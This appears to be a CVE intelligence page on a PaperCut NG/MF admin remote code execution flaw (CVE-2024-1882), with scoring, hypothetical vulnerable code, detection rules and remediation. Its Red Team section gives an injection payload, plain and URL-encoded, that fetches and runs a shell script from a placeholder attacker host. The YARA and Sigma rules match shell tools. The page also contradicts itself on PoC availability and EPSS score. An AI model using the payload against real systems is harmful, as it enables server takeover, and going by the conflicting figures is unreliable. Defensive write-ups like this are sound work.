☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Papercut logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1882

CVE-2024-1882 Remote Code Execution in Papercut
📅 PUBLISHED: 2024-03-14 03:08 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.34%
👁️
1.34% probability
33.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Australia License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1882 is a high-severity vulnerability affecting PaperCut NG and MF application servers. An authenticated admin user can craft a malicious payload that leads to remote code execution (RCE) on the server. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability, though exploitation requires admin-level privileges. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains significant for organizations using PaperCut in production.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires admin authentication
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

Threat Level: High. Although admin privileges are required, a compromised admin account or insider threat can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the PaperCut NG/MF application server’s handling of admin-level operations. An authenticated admin user can inject malicious code through a crafted payload, likely via a web interface or API endpoint that does not properly sanitize input. The payload is then executed by the server, leading to remote code execution.

Attack Flow:

  1. Attacker gains admin credentials (via phishing, credential stuffing, or insider access).
  2. Attacker logs into the PaperCut admin console.
  3. Attacker crafts a malicious payload (e.g., a script or command) and submits it through a vulnerable input field.
  4. The server processes the payload without proper validation, executing arbitrary code.
  5. Attacker achieves RCE, potentially installing backdoors, exfiltrating data, or disrupting services.

Root Cause: Improper input validation or deserialization of admin-supplied data, leading to code injection (CWE-94).

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, based on the vulnerability type, the following hypothetical code snippets illustrate the issue:

Vulnerable Code (Java example):

public void executeAdminCommand(String command) {
    // No sanitization - directly executes user input
    Runtime.getRuntime().exec(command);
}

Patched Code (Hypothetical):

public void executeAdminCommand(String command) {
    // Whitelist allowed commands and sanitize input
    if (!allowedCommands.contains(command)) {
        throw new SecurityException("Command not allowed");
    }
    // Use a safe execution method
    ProcessBuilder pb = new ProcessBuilder(command.split(" "));
    pb.start();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Admin credentials for PaperCut NG/MF.
  • Network access to the PaperCut web interface (typically port 9191 or 9192).

Exploitation Steps:

  1. Log in to the PaperCut admin console.
  2. Identify a vulnerable input field (e.g., custom script execution, printer configuration, or user management).
  3. Inject a payload such as:
    ; /bin/bash -c 'curl http://attacker.com/shell.sh | bash'
    
  4. Submit the payload and trigger execution.
  5. Verify RCE by checking for a reverse shell or command output.

Example Payload (URL-encoded):

%3B%20%2Fbin%2Fbash%20-c%20%27curl%20http%3A%2F%2Fattacker.com%2Fshell.sh%20%7C%20bash%27

Blue Team

Detection:

  • Monitor admin console logs for unusual commands or payloads.
  • Use WAF rules to block common injection patterns (e.g., semicolons, pipe characters).
  • Implement strict input validation on all admin-facing endpoints.

Hunting:

  • Search for processes spawned by the PaperCut service that are not typical (e.g., curl, wget, bash).
  • Review network connections from the PaperCut server to external IPs on non-standard ports.

Lab Setup:

  • Deploy a vulnerable PaperCut instance (version prior to patch) in an isolated environment.
  • Use a tool like Burp Suite to intercept and modify admin requests.
  • Test payloads in a controlled manner to avoid production impact.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections from PaperCut server to unknown IPs on ports 80, 443, or 4444.
    • Unusual HTTP POST requests to /admin or /api endpoints containing shell commands.
  • File System:
    • Unexpected files in the PaperCut installation directory (e.g., /opt/papercut/server/).
    • New scripts or binaries in /tmp/ or /var/tmp/.
  • Process:
    • Child processes of the PaperCut Java process running bash, cmd.exe, or powershell.
  • Logs:
    • Admin audit logs showing execution of unknown commands or scripts.

Detection Engineering

YARA Rule

rule CVE_2024_1882_PaperCut_RCE {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-1882 in PaperCut logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1882"
    strings:
        $cmd1 = "bash -c" ascii wide nocase
        $cmd2 = "powershell" ascii wide nocase
        $cmd3 = "curl" ascii wide nocase
        $cmd4 = "wget" ascii wide nocase
        $cmd5 = "exec" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 1MB
}

Sigma Rule

title: CVE-2024-1882 PaperCut Admin RCE Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-1882 via admin console logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: papercut
detection:
    selection:
        EventID: 1000  # Example PaperCut audit event ID
        Message|contains:
            - 'bash -c'
            - 'powershell'
            - 'curl'
            - 'wget'
            - 'exec'
    condition: selection
falsepositives:
    - Legitimate admin scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1882 PaperCut Admin RCE Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin"; http_uri; content:"bash -c"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict admin access to PaperCut to trusted IPs only (e.g., via firewall or VPN).
  2. Enable multi-factor authentication (MFA) for all admin accounts.
  3. Monitor admin activity logs for suspicious commands.

Long-Term Fix:

  • Apply vendor patch once released.
  • Implement input validation and output encoding on all admin-facing endpoints.
  • Conduct a security audit of the PaperCut configuration.

Workarounds:

  • Disable any custom scripting features in PaperCut if not required.
  • Use a Web Application Firewall (WAF) to block common injection patterns.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

PaperCut NG
PaperCut MF
PaperCut application server

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1882/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.